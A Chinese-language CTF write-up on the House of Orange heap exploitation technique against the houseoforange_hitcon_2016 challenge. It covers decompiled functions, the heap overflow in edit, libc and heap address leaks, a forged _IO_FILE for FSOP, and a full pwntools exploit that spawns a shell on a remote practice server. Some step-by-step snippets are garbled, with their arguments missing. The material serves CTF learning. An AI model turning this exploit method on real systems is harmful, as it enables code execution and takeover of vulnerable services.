House of orange 前提 题目中不存在 free 函数或其他释放堆块的函数。
原理 House of Orange 核心就是通过漏洞利用获得 free 的效果。当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,通过这一点可以在没有 free 函数情况下获取到 unsorted bins。
利用方法 1 2 3 1. 篡改top chunk size(注意size需要对齐内存页)2. 分配比top chunk size大的chunk。3. 现在原来的top chunk进入了unsorted bin中,再次malloc就会从unsored bin中切分出需要的大小,剩余部分作新的unsorted bin。
注意:伪造top chunk size时,必须满足以下要求 1 2 3 4 5 1. 伪造的size必须要对齐到内存页。2. size要大于MINSIZE。3. size要小于之后申请的chunk size + MINISIZE。4. size的prev inuse位必须为1 。5. malloc的大小不能大于mmap分配阈值。
例题 houseoforange_hitcon_2016 保护全开,打开ida
main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 void __fastcall __noreturn main (const char *a1, char **a2, char **a3) { int choice; sub_1218(); while ( 1 ) { while ( 1 ) { menu(); choice = my_read(a1, a2); if ( choice != 2 ) break ; show(); } if ( choice > 2 ) { if ( choice == 3 ) { edit(); } else { if ( choice == 4 ) { puts ("give up" ); exit (0 ); } LABEL_13: a1 = "Invalid choice" ; puts ("Invalid choice" ); } } else { if ( choice != 1 ) goto LABEL_13; add(); } } }
add函数 会申请三个chunk,chunk_1存放chunk_2和chunk_3的mem指针,chunk_2存放name,chunk_3存放price和color。由于num2的限制,只能使用4次add函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 int add () { unsigned int size; int color; _QWORD *v3; _DWORD *v4; if ( num2 > 3u ) { puts ("Too many house" ); exit (1 ); } v3 = malloc (0x10 uLL); printf ("Length of name :" ); size = my_read(); if ( size > 0x1000 ) size = 0x1000 ; v3[1 ] = malloc (size); if ( !v3[1 ] ) { puts ("Malloc error !!!" ); exit (1 ); } printf ("Name :" ); my_read2((void *)v3[1 ], size); v4 = calloc (1uLL , 8uLL ); printf ("Price of Orange:" ); *v4 = my_read(); ::color(); printf ("Color of Orange:" ); color = my_read(); if ( color != 0xDDAA && (color <= 0 || color > 7 ) ) { puts ("No such color" ); exit (1 ); } if ( color == 0xDDAA ) v4[1 ] = 0xDDAA ; else v4[1 ] = color + 30 ; *v3 = v4; heap_array = v3; ++num2; return puts ("Finish" ); }
show函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int sub_EE6 () { int v0; int v2; if ( !heap_array ) return puts ("No such house !" ); if ( *(_DWORD *)(*heap_array + 4LL ) == 0xDDAA ) { printf ("Name of house : %s\n" , (const char *)heap_array[1 ]); printf ("Price of orange : %d\n" , *(unsigned int *)*heap_array); v0 = rand(); return printf ("\x1B[01;38;5;214m%s\x1B[0m\n" , *((const char **)&unk_203080 + v0 % 8 )); } else { if ( *(int *)(*heap_array + 4LL ) <= 30 || *(int *)(*heap_array + 4LL ) > 37 ) { puts ("Color corruption!" ); exit (1 ); } printf ("Name of house : %s\n" , (const char *)heap_array[1 ]); printf ("Price of orange : %d\n" , *(unsigned int *)*heap_array); v2 = rand(); return printf ("\x1B[%dm%s\x1B[0m\n" , *(unsigned int *)(*heap_array + 4LL ), *((const char **)&unk_203080 + v2 % 8 )); } }
edit函数 存在漏洞,修改chunk时的size大小由我们自己修改,可造成堆溢出,修改下一个chunk的内容,edit函数有num作为限制,只能使用3次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int sub_107C () { _DWORD *v1; unsigned int size; int v3; if ( num > 2u ) return puts ("You can't upgrade more" ); if ( !heap_array ) return puts ("No such house !" ); printf ("Length of name :" ); size = my_read(); if ( size > 0x1000 ) size = 4096 ; printf ("Name:" ); my_read2((void *)heap_array[1 ], size); printf ("Price of Orange: " ); v1 = (_DWORD *)*heap_array; *v1 = my_read(); color(); printf ("Color of Orange: " ); v3 = my_read(); if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7 ) ) { puts ("No such color" ); exit (1 ); } if ( v3 == 0xDDAA ) *(_DWORD *)(*heap_array + 4LL ) = 0xDDAA ; else *(_DWORD *)(*heap_array + 4LL ) = v3 + 30 ; ++num; return puts ("Finish" ); }
分析 程序不存在free函数,而按照我们的一般思路都是先free一个大于0x7f的chunk,进入unsortedbin,获得libc基地址,之后覆盖hook函数为system函数获得shell。而这道题不能这样做,add和edit函数的使用次数也有限制,这道题的edit函数存在堆溢出,可以考虑使用House of orange,通过修改top chunk为一个比较小的值,然后分配一个很大的chunk,使top chunk进入unsortedbin,从而泄露libc,这样heap基地址也能泄露出来,之后的话,可以使用FSOP,获得shell。
过程 先把前面的写好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import * context(endian='little' ,os='linux' ,arch='amd64' ,log_level='debug' ) binary = './houseoforange_hitcon_2016' sh = remote('node4.buuoj.cn' ,26188 ) elf = ELF(binary) libc = ELF('../../libc-2.23.so--64' ) one_gadget = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] one_gadget[0 ] = 0x45216 s = lambda data :sh.send(data) sa = lambda delim,data :sh.sendafter(delim, data) sl = lambda data :sh.sendline(data) sla = lambda delim,data :sh.sendlineafter(delim, data) r = lambda num=4096 :sh.recv(num) ru = lambda delims :sh.recvuntil(delims ) itr = lambda :sh.interactive() uu32 = lambda data :u32(data.ljust(4 ,'\0' )) uu64 = lambda data :u64(data.ljust(8 ,'\0' )) leak = lambda name,addr :log.success('{} = {:#x}' .format (name, addr)) lg=lambda address,data:log.success('%s: ' %(address)+hex (data))def dbg (): gdb.attach(sh) pause()def add (size, content, price='2' , color='1' ): ru("Your choice : " ) sl('1' ) ru("Length of name :" ) sl(str (size)) ru("Name :" ) sh.send(content) ru("Price of Orange:" ) sl(str (price)) ru("Color of Orange:" ) sl(str (color))def show (): ru("Your choice : " ) sl('2' )def edit (size, content, price='2' , color='1' ): ru("Your choice : " ) sl('3' ) ru("Length of name :" ) sl(str (size)) ru("Name:" ) sh.send(content) ru("Price of Orange:" ) sl(str (price)) ru("Color of Orange:" ) sl(str (color))
修改top chunk 随便申请一个chunk,然后利用edit函数,溢出修改topchunk
1 2 3 4 5 add dbg payload = 'a' * 0 x30 +p64 + p64 + p32 + p32 + p64 * 2 + p64 edit, payload) dbg
top chunk大小为0x0000000000020f81 修改后的top chunk 大小为0x0000000000000f81
申请大于top chunk的chunk,进入unsortedbin 1 2 add (0 x1000, 'a\n' ) dbg ()
泄露libc和heap 调试可得此时我们刚刚申请的0x400chunk里存放着0x00007fe0c1216188距离libc基地址0x3c5188(0x00007fe0c1216188-0x7fe0c0e51000),该chunk里还存放着heap地址,因为printf遇到’\x00’会停止打印,所以我们将0x00007fe0c1216188改为字符串b,再将其输出
1 2 3 4 5 6 7 8 add (0 x400, 'a' * 8 ) show () ru ('a' *8 ) libc.address = u64 (ru ('\x7f' ).ljust (8 , '\x00' )) - 0 x3c5188lg ('libc.address' ,libc.address) io_list_all = libc.symbols ['_IO_list_all' ] system = libc.symbols ['system' ] dbg ()
我们泄露出的heap为0x5617117b30e0,距离heap基地址0x5617117b30e0-0x5617117b3000=0xe0,由此可获得heap_base地址
1 2 3 4 5 6 7 8 payload = 'b' * 0 x10 edit show ru heap = u64 .strip.ljust) heap_base = heap - 0 xE0 lg dbg
构造fake_file 接下来我们修改当前unsortedbin中chunk的大小和内容,这里FSOP还不太明白,先借用一下大佬写的解释
malloc时,对unsorted bin进行判断,此时该chunk的size为0x60,不满足要求,就把该chunk放入small bin,并且向bk->fd写入main_arena+0x58,即向_IO_list_all写入main_arena+0x58,此时判断下一个unsorted bin(_IO_list_all),而这里实际上没有chunk,此时会触发错误,此时第一个_IO_FILE_plus结构体为main_arena+0x58,而它不满足条件,就通过_chain调到下一个_IO_FILE_plus结构体,_chain位于0x68偏移的地方,main_arena+0x58+0x68=main_arena+0xc0,就是small bin中0x60大小的地方,这就回到了我们伪造的_IO_FILE_plus结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 dbg payload = 'a' * 0 x400 + p64 + p64 + p32 + p32 + p64 fake_file = '/bin/sh\x00' +p64 #to small bin fake_file += p64 +p64 fake_file += p64 + p64 #_IO_write_base < _IO_write_ptr fake_file = fake_file.ljust(0 xc0 ,'\x00' ) fake_file += p64 * 3 fake_file += p64 #vtable ptr fake_file += p64 * 2 fake_file += p64 payload += fake_file edit, payload) dbg
修改前 修改后
之后我们再调用add函数,调用malloc函数,就可以产生错误信息,改变程序执行流程,获得shell
1 2 3 ru ("Your choice : " ) sl ('1' ) itr ()
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 from pwn import * context(endian ='little' ,os='linux',arch='amd64',log_level='debug') #小端序,linux系统,64位架构,debug binary = './houseoforange_hitcon_2016' sh = remote('node4.buuoj.cn' ,26188) #连接远程程序 elf = ELF(binary) libc = ELF('../../libc-2.23.so--64' ) one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147] one_gadget[0] = 0x45216 s = lambda data :sh.send(data) sa = lambda delim,data :sh.sendafter(delim, data) sl = lambda data :sh.sendline(data) sla = lambda delim,data :sh.sendlineafter(delim, data) r = lambda num =4096 :sh.recv(num) ru = lambda delims :sh.recvuntil(delims ) itr = lambda :sh.interactive() uu32 = lambda data :u32(data.ljust(4,'\0' )) uu64 = lambda data :u64(data.ljust(8,'\0' )) leak = lambda name,addr :log .success('{} = {:#x}' .format(name, addr))lg =lambda address,data:log .success('%s: ' %(address)+hex(data)) def dbg(): gdb.attach(sh) pause() def add (size, content, price ='2' , color ='1' ): ru("Your choice : " ) sl('1' ) ru("Length of name :" ) sl(str(size)) ru("Name :" ) sh.send(content) ru("Price of Orange:" ) sl(str(price)) ru("Color of Orange:" ) #1-7 sl(str(color)) def show(): ru("Your choice : " ) sl('2' ) def edit (size, content, price ='2' , color ='1' ): ru("Your choice : " ) sl('3' ) ru("Length of name :" ) sl(str(size)) ru("Name:" ) sh.send(content) ru("Price of Orange:" ) sl(str(price)) ru("Color of Orange:" ) #1-7 sl(str(color))add (0x30,'aaaa\n' ) payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(2) + p32(1) + p64(0) * 2 + p64(0xf81) edit (len(payload), payload)add (0x1000, 'a\n' )add (0x400, 'a' * 8) show() ru('a' *8 ) libc.address = u64(ru('\x7f' ).ljust(8, '\x00' )) - 0x3c5188 lg('libc.address' ,libc.address) io_list_all = libc.symbols['_IO_list_all' ]system = libc.symbols['system' ] payload = 'b' * 0x10 edit (0x10, payload) show() ru('b' *0 x10) heap = u64(sh.recvuntil('\n' ).strip().ljust(8, '\x00' )) heap_base = heap - 0xE0 lg('heap_base' ,heap_base) payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(2) + p32(1) + p64(0) fake_file = '/bin/sh\x00' +p64(0x61)#to small bin fake_file += p64(0)+p64(io_list_all-0x10) fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr fake_file = fake_file.ljust(0xc0,'\x00' ) fake_file += p64(0) * 3 fake_file += p64(heap_base+0x5E8) #vtable ptr fake_file += p64(0) * 2 fake_file += p64(system) payload += fake_fileedit (len(payload), payload) ru("Your choice : " ) sl('1' ) itr()
可能因为本地环境没配好,打不通,在buu上远程可以打通
参考文章houseoforange_hitcon_2016 houseoforange_hitcon_2016